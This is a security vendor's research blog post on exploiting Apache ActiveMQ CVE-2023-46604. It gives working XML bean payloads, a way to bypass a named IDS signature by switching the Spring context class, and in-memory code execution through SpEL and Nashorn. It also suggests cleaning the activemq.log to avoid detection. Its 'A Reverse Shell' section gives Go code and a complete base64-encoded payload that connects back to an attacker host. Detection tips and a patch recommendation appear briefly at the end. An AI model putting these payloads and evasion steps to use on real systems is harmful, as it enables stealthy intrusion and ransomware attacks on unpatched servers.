Key Takeaways
Introduction
Huntress Labs, Rapid7, and ArticWolf all recently published reports of threat actors exploiting ActiveMQ CVE-2023-46604 to drop ransomware onto the victim host. The attackers used CVE-2023-46604 to invoke cmd.exe
followed by curl.exe
or msiexec.exe
in order to download and execute their ransomware. The attackers were very obvious and caught the aforementioned companies' attention, all of which offer managed detection and response products. However, the attacks needn’t have been so noisy. In this blog, we will explore how an attacker can exploit CVE-2023-46604 and execute arbitrary code from memory.
Public Exploits
The threat actors all appeared to have relied on the public details for this vulnerability. The exploit was originally disclosed in a Chinese-language blog by X1R0z on October 25, 2023 and then re-analyzed by Stephen Fewer of Rapid7 on November 1, 2023. They both, more or less, came up with an exploit that used ClassPathXmlApplicationContext to load an XML Bean that looks like this:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
The above XML bean causes ActiveMQ to call java.langProcessBuilder(“cmd.exe”, “/c”, “calc.exe”);
- resulting in ActiveMQ launching the calculator process. There have been quite a few other public exploits (Metasploit, Nuclei, XDB-90299d8578e8, XDB-07dca85f6442, XDB-2a263bac5fa9, XDB-c01880ea274b, XDB-5f38a93c3fe0, XDB-0462e934919b, XDB-7adf2c60412f) but none deviate from this path.
The perceived restriction is that the attacker must use a bean that accepts all of its configuration through its constructor and has a function that can be invoked via the init-method
parameter (or destroy
).
However, none of those restrictions actually exist.
Creating a Better Exploit
The first detail worth noting is that the attacker doesn’t have to use ClassPathXmlApplicationContext
. FileSystemXmlApplicationContext works just fine. The output barely changes on the wire.
It’s important to note because existing network signatures (see sid:2049045) rely on ClassPathXmlApplicationContext
being present. So we get a simple signature bypass by using FileSystemXmlApplicationContext
.
When it comes to the XML bean, we don’t actually need most of what the public exploits use. We don’t need to construct a bean or invoke a function via init-method
. We just need to use SpEL.
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="vulncheck" class="java.lang.String">
<property name="vc" value="#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('Nashorn').eval('var fw = new java.io.FileWriter("/tmp/3"); fw.write("Hello VulnCheck"); fw.close();')}"/>
</bean>
</beans>
In the XML bean above, you can see that we’ve embedded a SpEL expression to invoke the Nashorn javascript engine and write a file to disk. The payload does not shell out to cmd.exe
or bash
to write to disk. It just uses the native functionality in the java.exe
process. Spring, by design, allows for SpEL in bean definitions. As a feature, we can execute arbitrary code as the original process. We don’t need to shell out to a new process at all!
That means the threat actors could have avoided dropping their tools to disk. They could have just written their encryptor in Nashorn (or loaded a class/JAR into memory) and remained memory resident. Perhaps avoiding detection from the aforementioned managed EDR teams.
However, if the attacker did do that, they’d also need to clean up the activemq.log
because the above XML triggers the following log message (note that:
2023-11-11 14:05:10,839 | WARN | Exception encountered during context initialization - canceling refresh attempt: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'vulncheck' defined in URL http://10.9.49.131:8080/bppkArhoWrRn: Initialization of bean failed; nested exception is org.springframework.beans.factory.BeanExpressionException: Expression parsing failed; nested exception is org.springframework.expression.ExpressionInvocationTargetException: A problem occurred when trying to execute method 'eval' on object of type jdk.nashorn.api.scripting.NashornScriptEngine | org.springframework.context.support.FileSystemXmlApplicationContext | ActiveMQ Transport: tcp:///10.9.49.131:57484@61616
Generally speaking, you never want to see Nashorn in your logs. You really don’t want to see it associated with BeanCreation. Note that the nested exception will not always include a “Nashorn` exception, so detection should occur around the remote BeanCreationException.
A Reverse Shell
The overarching objective of this blog was executing arbitrary code in memory. However, I’m informed people would be disappointed if they didn’t get a reverse shell payload. Remember, when you use this reverse shell, you are using bash
or cmd.exe
... which is the exact thing that caught Huntress, Rapid7, and ArticFox’s attention in the first place. But here you go anyway:
xml := fmt.Sprintf(`<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="vulncheck" class="java.lang.String">
<property name="file" value="#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('Nashorn').eval('eval(new java.lang.String(java.util.Base64.decoder.decode("%s")));')}"/>
</bean>
</beans>`, b64.StdEncoding.EncodeToString([]byte(payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, conf.C2Type == c2.SSLShellServer))))
Note that payload.ReverseShellJSSScript is from go-exploit, and automatically supports Windows and Linux targets, as well as encryption.
The whole thing looks like this on the wire:
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="vulncheck" class="java.lang.String">
<property name="file" value="#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('Nashorn').eval('eval(new java.lang.String(java.util.Base64.decoder.decode("dmFyIHNoZWxsID0gImJhc2giOwppZiAoamF2YS5sYW5nLlN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLmluZGV4T2YoIldpbmRvd3MiKSAhPSAtMSkgewoJc2hlbGwgPSAiY21kLmV4ZSI7Cn0KdmFyIHA9bmV3IGphdmEubGFuZy5Qcm9jZXNzQnVpbGRlcihzaGVsbCkucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBzPW5ldyBqYXZhLm5ldC5Tb2NrZXQoIjEwLjkuNDkuMTE2IiwgMTI3MCk7CnZhciBzb2NrZXRJbnB1dCA9IG5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKG5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKHMuZ2V0SW5wdXRTdHJlYW0oKSkpOwp2YXIgc29ja2V0T3V0cHV0ID0gbmV3IGphdmEuaW8uQnVmZmVyZWRXcml0ZXIobmV3IGphdmEuaW8uT3V0cHV0U3RyZWFtV3JpdGVyKHMuZ2V0T3V0cHV0U3RyZWFtKCkpKTsKdmFyIHByb2Nlc3NJbnB1dCA9IG5ldyBqYXZhLmlvLkJ1ZmZlcmVkV3JpdGVyKG5ldyBqYXZhLmlvLk91dHB1dFN0cmVhbVdyaXRlcihwLmdldE91dHB1dFN0cmVhbSgpKSk7CnZhciBwcm9jZXNzT3V0cHV0ID0gbmV3IGphdmEuaW8uQnVmZmVyZWRSZWFkZXIobmV3IGphdmEuaW8uSW5wdXRTdHJlYW1SZWFkZXIocC5nZXRJbnB1dFN0cmVhbSgpKSk7Cgp3aGlsZSAoIXMuaXNDbG9zZWQoKSkgewoJdmFyIGRhdGEKCWlmICgoZGF0YSA9IHNvY2tldElucHV0LnJlYWRMaW5lKCkpICE9IG51bGwpIHsKCQlwcm9jZXNzSW5wdXQud3JpdGUoZGF0YSArICJcbiIpOwoJCXByb2Nlc3NJbnB1dC5mbHVzaCgpCgl9CglqYXZhLmxhbmcuVGhyZWFkLnNsZWVwKDUwKTsKCgl3aGlsZSAocHJvY2Vzc091dHB1dC5yZWFkeSgpICYmIChkYXRhID0gcHJvY2Vzc091dHB1dC5yZWFkKCkpID4gMCkgewoJCQlzb2NrZXRPdXRwdXQud3JpdGUoZGF0YSk7Cgl9Cglzb2NrZXRPdXRwdXQuZmx1c2goKQoJdHJ5IHsKCQlwLmV4aXRWYWx1ZSgpOwoJCWJyZWFrOwoJfSBjYXRjaCAoZSkgewoJfQp9CgpwLmRlc3Ryb3koKTsKcy5jbG9zZSgpOw==")));')}"/>
</bean>
</beans>
Conclusion
There are currently more than ten thousand of internet-facing ActiveMQ servers, and multiple organizations have reported ransomware attacks. Now that we know attackers can execute stealthy attacks using CVE-2023-46604, it’s become even more important to patch your ActiveMQ servers and, ideally, remove them from the internet entirely.
About VulnCheck
The VulnCheck Initial Access team is always looking to advance the state of attack on initial access vulnerabilities like CVE-2023-46604. For more research like this, see our blogs, PaperCut Exploitation and Fileless Remote Code Execution on Juniper Firewalls . Sign up to start a trial of our Initial Access Intelligence and Exploit & Vulnerability Intelligence product today.